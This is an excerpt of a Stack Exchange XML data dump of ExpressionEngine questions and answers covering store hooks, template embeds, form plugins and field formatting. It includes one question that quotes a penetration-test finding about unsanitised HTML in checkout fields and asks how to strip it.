  <row Id="11921" PostTypeId="2" ParentId="11898" CreationDate="2013-07-15T07:22:59.113" Score="0" Body="&lt;p&gt;Brendan,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get all sorts of errors doing this on EE2.5.5, but it all works flawlessly on EE 2.6, so you might consider upgrading.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-07-15T07:22:59.113" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11922" PostTypeId="2" ParentId="11920" CreationDate="2013-07-15T10:06:38.190" Score="2" Body="&lt;p&gt;There are a few hooks available which will allow you to latch on to the process at various points. If you want to run an extension after payment has been processed then &lt;code&gt;store_order_payment_end&lt;/code&gt; (&lt;a href=&quot;https://exp-resso.com/docs/store/extension_hooks.html#store_order_payment_end&quot; rel=&quot;nofollow&quot;&gt;docs link&lt;/a&gt;) is the hook you'd need to look to use in your custom extension.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-07-15T10:06:38.190" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11923" PostTypeId="2" ParentId="11918" CreationDate="2013-07-15T10:14:14.850" Score="1" Body="&lt;p&gt;Been testing this further and I found that the channel search parameter does seem to be working correctly, even with the ampersand in the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing that was making me think it wasn't working correctly was the fact that the title at the top of the page, &amp;lt; h1&gt;{segment_2}&amp;lt; /h1&gt; was being cut off after the ampersand (like this: &amp;lt; h1&gt;Yorkshire&amp;lt; /h1&gt;, instead of outputting &amp;lt; h1&gt;Yorkshire &amp;amp; the Humber&amp;lt; /h1&gt;, so I assumed that the same issue was also be happening to the {segment_2} in the channel search parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To work around the issue with the title being cut off with the segment variable, I'm using a Zoo Triggers variable to output the page title instead (&amp;lt; h1&gt;{triggers:segment_2}&amp;lt; /h1&gt;), and that outputs the full title correctly: &amp;lt; h1&gt;Yorkshire &amp;amp; the Humber&amp;lt; /h1&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've no idea why the standard segment variable is being cut off after the ampersand, or why the Zoo Triggers variable works fine, but it's outputting what I want so I'll move on. :)&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-07-15T10:14:14.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11925" PostTypeId="1" AcceptedAnswerId="11956" CreationDate="2013-07-15T11:07:33.177" Score="0" ViewCount="88" Body="&lt;p&gt;A client I have built an Expresso-store site for has just had a pretty comprehensive Penetration Test performed on it. One of the areas they highlighted, and the client wants to be addressed, is the limited sanitisation performed on checkout process fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the actual report entry:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Whilst testing, 2-sec attempted to see it was possible to generate cross-site scripting errors within the application using the HTML tag in certain input fields. From this, it was found that the application sanitised certain inputs, which could be attributed to input blacklisting. 2-sec identified that whilst the tag was sanitised it allowed other HTML tags to be used. Below are a list of tags allowed by the application:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a&amp;gt; &amp;lt;h1&amp;gt; &amp;lt;p&amp;gt; &amp;lt;table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When entered into a form field the application rendered these tags as html, so for example when the tag was input then the name of the user could be converted into a link on their billing name during the checkout process. Although these tags are usually considered harmless, it does identify that limited sanitisation is carried out by the application.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Could you suggest the best way of achieving this without modifying the core code from the Store module?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1517" LastActivityDate="2013-08-15T11:09:24.657" Title="Strip HTML from checkout fields" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11926" PostTypeId="2" ParentId="10379" CreationDate="2013-07-15T13:19:00.927" Score="1" Body="&lt;p&gt;I'm just confirming that this works in Playa 4.4.4 + Low Variables 2.3.5 with EE 2.6.&lt;/p&gt;&#xA;" OwnerUserId="330" LastActivityDate="2013-07-15T13:19:00.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11927" PostTypeId="1" CreationDate="2013-07-15T14:07:15.657" Score="1" ViewCount="726" Body="&lt;p&gt;Migrated to a new server and my server path has changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I changed the path in all the file upload preferences etc. but Pixel and Tonic Assets seems to want to hold on to the original path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I look at the database in MySQL, the old paths are there. When I go to Assets and hit &quot;Update&quot; indexes&quot;, nothing happens and the button gets greyed out. When I go to the Assets file manager there are no files. Just the spinning icon to the right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I figured I would just change the paths in the &lt;code&gt;config.php&lt;/code&gt; file as such:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['upload_preferences'] = array(&#xA;&#xA;        6 =&amp;gt; array(                                                            // ID of upload destination&#xA;            'name'        =&amp;gt; 'Homepage Images',                          // Display name in control panel&#xA;            'server_path' =&amp;gt; '/home/content/02/xxxxxxxxx/html/images/uploads/homepage/', // Server path to upload directory&#xA;            'url'         =&amp;gt; 'http://www.xxxxxxxxx.com/images/uploads/homepage/'      // URL of upload directory&#xA;        ),&#xA;        5 =&amp;gt; array(                                                            // ID of upload destination&#xA;            'name'        =&amp;gt; 'Images',                          // Display name in control panel&#xA;            'server_path' =&amp;gt; '/home/content/02/xxxxxxxxx/html/images/', // Server path to upload directory&#xA;            'url'         =&amp;gt; 'http://www.xxxxxxxxxxxxx.com/images/'      // URL of upload directory&#xA;        )&#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But that does not seem to help either. There are a lot of files. Do I just need to leave it on the Assets file manager page and wait for the spinning icon to stop?&lt;/p&gt;&#xA;" OwnerUserId="1773" LastEditorUserId="2539" LastEditDate="2013-12-30T13:05:56.050" LastActivityDate="2013-12-30T13:05:56.050" Title="Assets Blank not Updating after migration" Tags="|assets|file-uploads|file-manager|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11928" PostTypeId="1" CreationDate="2013-07-15T14:28:43.690" Score="1" ViewCount="74" Body="&lt;p&gt;I logged into a client EE site today to update some Entries, all of which are part of a custom channel Locations. I edited the info of one, saved it, and I got the error box on the top of the page. However, it's blank. Only 2 people have admin access to the site, myself and the client's IT guy. I cannot say with certainty what he may have done/changed. I haven't updated a location in roughly 2 months, but I have updated/added over 200 locations with no errors before now. I've tried editing other Location entries, and all error. I then tried editing non Location entries, and none of them error. I can add new ones, though. But since I cannot update existing entries, I cannot re-add old ones that need updating and close the old ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error box seen here: &lt;a href=&quot;http://screencast.com/t/CZuzo7H3Nd0&quot; rel=&quot;nofollow&quot;&gt;http://screencast.com/t/CZuzo7H3Nd0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1774" LastActivityDate="2013-07-15T14:28:43.690" Title="Cannot update Entries. Getting blank, unspecific error" Tags="|channel-entries|error|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11929" PostTypeId="1" CreationDate="2013-07-15T17:11:34.340" Score="2" ViewCount="1250" Body="&lt;p&gt;Hi can you help? im going to upload some mp3 but doesnt work that problem can you help in EE2, where can find the solution ?thank you&lt;/p&gt;&#xA;" OwnerUserId="1775" LastActivityDate="2013-07-23T14:02:13.680" Title="The uploaded file exceeds the maximum allowed size in your PHP configuration file" Tags="|ee2|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11930" PostTypeId="1" AcceptedAnswerId="11931" CreationDate="2013-07-15T19:14:53.560" Score="0" ViewCount="1801" Body="&lt;p&gt;I have a channel that has a lot of fields and several entries are similar to each other. So I want to be able to duplicate an entry and then make changes to it instead of having to retype everything from scratch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this in the CP?&lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2013-08-14T20:09:20.617" Title="Duplicate an entry" Tags="|channel-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11931" PostTypeId="2" ParentId="11930" CreationDate="2013-07-15T19:24:49.627" Score="1" Body="&lt;p&gt;Never mind. Found this extension: &lt;a href=&quot;http://devot-ee.com/add-ons/mx-cloner&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/mx-cloner&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2013-07-15T19:24:49.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11932" PostTypeId="2" ParentId="11855" CreationDate="2013-07-15T20:24:37.690" Score="0" Body="&lt;p&gt;Assuming that &lt;strong&gt;blogs&lt;/strong&gt; is your template group, and &lt;strong&gt;post&lt;/strong&gt; is your template, then you don't need to pass the &lt;code&gt;url_title&lt;/code&gt;. So your opening Channel Entries tag should look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;blogs&quot;&#xA;    disable=&quot;categories|category_fields|pagination&quot;&#xA;    track_views=&quot;one&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using the URL structure you mention, and this tag, &lt;code&gt;track_views&lt;/code&gt; should indeed work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you perhaps using a caching module like CE Cache? That would prevent the views from incrementing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/output_and_debugging_preferences.html#display-output-profiler&quot; rel=&quot;nofollow&quot;&gt;enable the output profiler&lt;/a&gt;, you can actually see which MySQL queries are being executed when the page loads - you should see an entry that looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_channel_titles SET view_count_one = (view_count_one + 1) WHERE url_title = 'hello-world';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-07-15T20:24:37.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11933" PostTypeId="2" ParentId="10601" CreationDate="2013-07-15T20:35:36.920" Score="1" Body="&lt;p&gt;It turns out the solution involves using the latest version of Google Maps for ExpressionEngine and then using match_no_categories=&quot;true&quot; as well as match_categories=&quot;true&quot; on the exp:gmap:results tag pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This allows the use of {category_ids} for example in building a path to your icon images in the exp:gmap:marker icon parameter.&lt;/p&gt;&#xA;" OwnerUserId="2" LastActivityDate="2013-07-15T20:35:36.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11934" PostTypeId="1" AcceptedAnswerId="12048" CreationDate="2013-07-15T20:37:42.800" Score="0" ViewCount="161" Body="&lt;p&gt;I have a series of if:elseif statements that compare $_GET Variables using &lt;code&gt;&quot;{exp:parameters:get name='price'}&quot;==&quot;&amp;lt;?php echo $myVariableHere; ?&amp;gt;&quot;&lt;/code&gt;. This is filtering out some of the entries so that they don't show, this works perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: $myVariableHere is coming from &lt;code&gt;&amp;lt;?php $myVariableHere=&quot;{categories show_group='#'}{category_name}{/categories}&quot;; ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The exception is my 'region' variable, because it uses child categories. I tried to call them this way, &lt;code&gt;&amp;lt;?php $myVariableHere=&quot;array{categories show_group='#' backspace='2'}'{category_name}', {/categories}&quot;; ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that even though it appears to print to my page correctly ('Canada', 'Foo', 'Bar') it does not have separate keys in the array, they are all part of the 1st key. So I can not call on the categories separately to use them in my comparison.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end, I need to compare the $_GET VARIABLE of ?region=Canada to the entries categories in that group ('Canada' with a child of 'Foo' with a child of 'Bar').&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking forward to any suggestions. NOTE: I have been using gw:categories in places.&lt;/p&gt;&#xA;" OwnerUserId="1246" LastEditorUserId="1246" LastEditDate="2013-07-16T13:28:29.570" LastActivityDate="2013-07-18T05:56:12.360" Title="Compare a get variable with a path of categories" Tags="|categories|php|gwcode-categories|parameters|comparison|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11937" PostTypeId="1" AcceptedAnswerId="11943" CreationDate="2013-07-15T22:01:53.963" Score="0" ViewCount="104" Body="&lt;p&gt;I use the following code for a single entry:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;channel=&quot;pages&quot;&#xA;entry_id=&quot;24&quot;&#xA;limit=&quot;1&quot;&#xA;require_entry=&quot;yes&quot;&#xA;dynamic=&quot;no&quot;&#xA;disable=&quot;categories|category_fields|member_data|pagination&quot;&#xA;}&#xA;{if no_results}{redirect=&quot;404&quot;}{/if}&#xA;{page_body}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works as expected for segment_1 urls (i.e. www.someurl.com/about-us), but if the template is not the index page of a template group, the same code throws a 404 error (i.e. www.someurl.com/abount-us/leadership).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I remove limit=&quot;1&quot; &amp;amp; require_entry=&quot;yes&quot;, it works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is going on here?&lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2013-07-16T03:15:30.517" Title="Single entry for segment_2" Tags="|404|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11938" PostTypeId="1" CreationDate="2013-07-15T22:38:09.100" Score="1" ViewCount="75" Body="&lt;p&gt;If I create a hyperlink from multiple words in a WYGWAM field it looks fine if I view the source code but when parsed in the browser it adds stuff to the link address causing it to fail.&#xA;Example, I type some link text &quot;Results and splits&quot; I then highlight it and click the link button and browse and select the file. This is the source code generated in the WYGWAM field when viewed in the control panel:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;/results-archive/2012-13/index.html&quot;&amp;gt;Results and splits&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this is what the resulting browser source is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/results-archive/2012-13/index.html2012-13/index.html}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But if I edit the link text by viewing source in the WYGWAM field and delete the words and then retype the words in source view and then save the link it works perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:This is only when linking to a file via Assets&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.6.1 WYGWAM 2.7.1&lt;/p&gt;&#xA;" OwnerUserId="483" LastEditorUserId="483" LastEditDate="2013-07-16T11:07:48.047" LastActivityDate="2013-09-16T18:42:47.447" Title="Multi word url links bug in WYGWAM field" Tags="|wygwam|assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11939" PostTypeId="1" AcceptedAnswerId="11940" CreationDate="2013-07-15T22:46:29.363" Score="2" ViewCount="1651" Body="&lt;p&gt;This is the first time trying this with Freeform 4 but I don’t see any reason why this shouldn’t work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a basic contact form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form&#xA;form_id=&quot;2&quot;&#xA;ajax=&quot;yes&quot;&#xA;required=&quot;name|email&quot;&#xA;return=&quot;embeds/thankyou&quot;&#xA;form:class=&quot;contact-form&quot;&#xA;form:id=&quot;contact-form&quot;&#xA;}&#xA;&#xA;&amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;label for=&quot;name&quot;&amp;gt;Name&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; id=&quot;name&quot; name=&quot;name&quot; class=&quot;form-text&quot; /&amp;gt;&#xA;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&#xA;&amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;label for=&quot;email&quot;&amp;gt;Email&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;email&quot; name=&quot;email&quot; id=&quot;email&quot; class=&quot;form-text&quot; /&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&#xA;&amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;label for=&quot;message&quot;&amp;gt;Message&amp;lt;/label&amp;gt;&#xA;    &amp;lt;textarea id=&quot;message&quot; name=&quot;message&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;    &amp;lt;p class=&quot;form-help&quot;&amp;gt;Tell us if you'd like to adopt a dog or support us.&amp;lt;/p&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&#xA;&amp;lt;fieldset class=&quot;form-actions&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; class=&quot;btn--orange  btn--x-large&quot; value=&quot;Contact&quot; /&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&#xA;&#xA;{/exp:freeform:form}&#xA;&amp;lt;div id=&quot;contact-thanks&quot;&amp;gt;&amp;lt;/div&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it works fine without Ajax. Form gets submitted, email gets sent, user gets redirected. I add my JS into the mix (adding my jQuery and plugin call before it)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('#contact-form').ajaxForm({  &#xA;    target: '#contact-thanks', &#xA;    success: function() {&#xA;        $('#contact-form').hide();&#xA;        $('#contact-thanks').fadeIn('slow');&#xA;    } &#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the form submits, email gets sent but the success message doesn’t load into the placeholder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything glaringly obvious I’ve missed? This did work on other sites albeit they were using Freeform 3.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-07-15T22:53:22.800" Title="freeform Ajax submission" Tags="|javascript|solspace-freeform|jquery|ajax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11940" PostTypeId="2" ParentId="11939" CreationDate="2013-07-15T22:53:22.800" Score="1" Body="&lt;p&gt;So it appears with the new version of Freeform I need to set the ajax parameter to ajax=&quot;no&quot; for use with Malsup's form plugin otherwise the output is a JSON response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully that will help others.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-07-15T22:53:22.800" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11941" PostTypeId="1" AcceptedAnswerId="11952" CreationDate="2013-07-15T23:54:21.527" Score="0" ViewCount="117" Body="&lt;p&gt;Assume the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Template A embeds Template B&lt;/li&gt;&#xA;&lt;li&gt;Template B embeds Template C&lt;/li&gt;&#xA;&lt;li&gt;Template C is a simple Channel entries loop that outputs a particular field value&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In the above setup, nothing is outputted by Template C. However, if Template A embeds Template C directly, it works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's going on here? How do I make Template C work when embedded by Template B?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-09-14T09:41:19.497" Title="Parse Order of embeds that embed" Tags="|templates|parse-order|embeds|template-scripting|template-partials|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11943" PostTypeId="2" ParentId="11937" CreationDate="2013-07-16T03:15:30.517" Score="1" Body="&lt;p&gt;From the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#require-entry&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; of &lt;code&gt;require_entry&lt;/code&gt; parameter:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This parameter tells the channel tag that it should expect the URL to contain a valid entry ID or a valid URL title. If an ID is not found in the URL, the tag will not display any data. Normally, the channel tag will show something, even if the URL doesn’t point to a particular entry. For example, your main channel page will typically show several of your most recent entries. Whereas your “single entry” pages, like your comment page, will show a single entry based on information in the URL. However, if one of your single entry pages is requested, but it doesn’t contain a valid ID, this parameter will tell the tag that you do not wish the template to display anything.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, you shouldn't and don't need to use the both parameters &lt;code&gt;entry_id&lt;/code&gt; and &lt;code&gt;require_entry&lt;/code&gt; together. The strange behavior you're experiencing on your code looks like a conflict.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use the parameters &lt;code&gt;entry_id&lt;/code&gt; or &lt;code&gt;url_title&lt;/code&gt;, the &lt;code&gt;no_results&lt;/code&gt; will work fine even without the parameter &lt;code&gt;require_entry&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my opinion, you should prefer to use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/pages/index.html&quot; rel=&quot;nofollow&quot;&gt;pages module&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-07-16T03:15:30.517" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11944" PostTypeId="2" ParentId="11941" CreationDate="2013-07-16T04:45:13.243" Score="0" Body="&lt;p&gt;Can you just check by outputting anything out of channel entry tag and see if its working. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If its working check channel entry tag. Also check by using parameter dynamic=&quot;no&quot; within channel entry tag.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-07-16T04:45:13.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11945" PostTypeId="1" CreationDate="2013-07-16T05:31:40.440" Score="1" ViewCount="228" Body="&lt;p&gt;I have this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;control-group {if error:birthdate}error{/if}&quot;&amp;gt;&#xA;        &amp;lt;label class=&quot;control-label&quot; for=&quot;birthdate&quot;&amp;gt;{label:birthdate}&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            {if logged_out}&#xA;                &amp;lt;input class=&quot;span2&quot; data-title=&quot;Help&quot; data-placement=&quot;right&quot; data-trigger=&quot;focus&quot; data-content=&quot;{instructions:birthdate}&quot; required type=&quot;date&quot; name=&quot;birthdate&quot; value=&quot;{if '{exp:parameters:post name=&quot;birthdate&quot;}'}{exp:parameters:post name=&quot;birthdate&quot;}{/if}&quot; id=&quot;birthdate&quot;&amp;gt;&#xA;            {if:else}&#xA;                {birthdate}&#xA;                &amp;lt;input class=&quot;span2&quot; data-title=&quot;Help&quot; data-placement=&quot;right&quot; data-trigger=&quot;focus&quot; data-content=&quot;{instructions:birthdate}&quot; disabled type=&quot;date&quot; value=&quot;{birthdate format=&quot;%Y-%m-%d&quot;}&quot; id=&quot;birthdate&quot;&amp;gt;&#xA;            {/if}&#xA;            {if error:birthdate}&#xA;                &amp;lt;span class=&quot;help-inline&quot;&amp;gt;{error:birthdate}&amp;lt;/span&amp;gt;&#xA;            {/if}&#xA;        &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that while &lt;code&gt;{birthdate}&lt;/code&gt; is outputting properly, &lt;code&gt;{birthdate format=&quot;%Y-%m-%d&quot;}&lt;/code&gt; is &lt;strong&gt;always&lt;/strong&gt; outputting &lt;code&gt;1970-01-01&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea why this is the case? I am using EE 2.5.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The actual value stored in the exp_channel_data is &lt;code&gt;503150405&lt;/code&gt;. Converting this timestamp using this &lt;a href=&quot;http://www.epochconverter.com/&quot; rel=&quot;nofollow&quot;&gt;site&lt;/a&gt; yielded&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;GMT: Wed, 11 Dec 1985 12:00:05 GMT&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The output using &lt;code&gt;{birthdate}&lt;/code&gt; yields&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;1985-12-12 12:00 AM&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I think the data is not the problem.&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-08-19T08:41:52.530" LastActivityDate="2013-09-18T08:45:18.050" Title="Date Field Format not working properly" Tags="|date|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11946" PostTypeId="1" CreationDate="2013-07-16T06:39:31.470" Score="1" ViewCount="136" Body="&lt;p&gt;I'm trying to implement checkboxes to allow new members to signup for multiple mailing lists instead of the multiple select dropmenu option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1779" LastActivityDate="2013-07-17T12:47:26.043" Title="User:Register, checkboxes for multiple mailing lists?" Tags="|solspace-user|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11947" PostTypeId="1" AcceptedAnswerId="11948" CreationDate="2013-07-16T07:06:42.723" Score="0" ViewCount="108" Body="&lt;p&gt;I have this code in my safecracker form&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select class=&quot;span2&quot; data-title=&quot;Help&quot; data-placement=&quot;right&quot; data-trigger=&quot;focus&quot; data-content=&quot;{instructions:gender}&quot; disabled id=&quot;gender&quot;&amp;gt;&#xA; {options:gender}&#xA;   &amp;lt;option value=&quot;{option_value}&quot; {selected}&amp;gt;{option_name}&amp;lt;/option&amp;gt;&#xA; {/options:gender}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;genders&lt;/code&gt; is a relationship field. According to the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/#custom-fields&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;, I should be able to generate options for a select field using this syntax&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;my_field_name&quot;&amp;gt;&#xA;        {options:my_field_name}&#xA;                &amp;lt;option value=&quot;{option_value}&quot;{selected}&amp;gt;{option_name}&amp;lt;/option&amp;gt;&#xA;        {/options:my_field_name}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This doesn't work for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, using&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{field:gender}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;works but outputs a select dropdown. I don't want this since I want to specify some attributes for the select tag as you can see above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea why this is the case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using EE 2.5.5&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-07-16T07:12:53.343" LastActivityDate="2013-07-16T07:37:50.750" Title="{options:my_field_name} not working" Tags="|custom-fields|forms|fields|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11948" PostTypeId="2" ParentId="11947" CreationDate="2013-07-16T07:37:50.750" Score="1" Body="&lt;p&gt;You can try like this code example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{custom_fields}&#xA;    {if relationship AND field_name == 'gender'}&#xA;        &amp;lt;select id=&quot;{field_name}&quot; name=&quot;{field_name}[data][]&quot;&amp;gt;&#xA;            {options}&#xA;                &amp;lt;option value=&quot;{option_value}&quot;{selected}&amp;gt;{option_name}&amp;lt;/option&amp;gt;&#xA;            {/options}&#xA;        &amp;lt;/select&amp;gt;&#xA;    {/if}&#xA;{/custom_fields}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope, it would work for you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-07-16T07:37:50.750" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
